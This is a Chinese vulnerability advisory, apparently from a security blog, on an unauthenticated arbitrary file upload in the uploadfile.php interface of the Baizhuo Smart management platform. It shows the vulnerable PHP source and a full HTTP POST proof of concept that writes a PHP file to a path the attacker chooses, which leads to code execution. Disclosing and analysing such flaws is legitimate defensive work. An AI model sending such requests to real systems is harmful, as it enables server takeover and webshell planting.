百卓Smart管理平台 uploadfile.php 文件上传漏洞


漏洞简介

百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品,是一家致力于构建下一代安全互联网的高科技企业。
百卓Smart管理平台 uploadfile.php 接口存在任意文件上传漏洞。未经身份验证的攻击者可以利用此漏洞上传恶意后门文件,执行任意指令,从而获得服务器权限并操纵服务器文件。

漏洞分析

Tool/uploadfile.php 文件业务逻辑实现如下:

<?php
if(isset($_POST['txt_path']))
{
    if(!isset($_FILES['file_upload']) || !isset($_POST['txt_path']))
    {
        exit("上传的文件和绝对路径不能为空!<a href=uploadfile.php>后退</a>");
    }
    else
    {

        $upload_file = $_FILES['file_upload']['tmp_name'];

        $post_path = $_POST['txt_path'];

        if(!copy($upload_file,$post_path))
        {

            exit("上传失败,可能是没有写入的权限!");
        }
        echo "上传成功!<a href=uploadfile.php>后退</a>";
    }
}
?>
<html>
<head></head>
<body>
<form name=frm enctype="multipart/form-data" action="?" method="POST">
<div align="center">上传文件:<input type="file" name="file_upload" size="26"></div>
<br>
<div align="center">绝对路径:<input type="text" id="txt_path" name="txt_path" size="28">(写全文件名)
&nbsp;&nbsp;<input type="submit" value="确定">
</div>
<br>
</form>
</body>
</html>

从 POST请求获取 txt_path 的值作为文件储存路径(需要一个可写权限的目录),上传里的filename随意,上传文件name部分为 file_upload 即可实现任意文件上传致rce效果。

漏洞复现

POST /Tool/uploadfile.php HTTP/1.1
Host: smart.mrxn.net
Content-Type: multipart/form-data; boundary=----123456

------123456
Content-Disposition: form-data; name="txt_path"

/home/test.php
------123456
Content-Disposition: form-data; name="file_upload"; filename="test.png"

<?=md5(123456);unlink(__FILE__);
------123456--

文件上传路径: /home/test.php

访问上传文件,成功执行代码


手机扫码阅读

百卓Smart管理平台 useratte/layer_swich_conf.php 任意文件删除漏洞

百卓Smart管理平台 licence.php 文件上传漏洞

评 论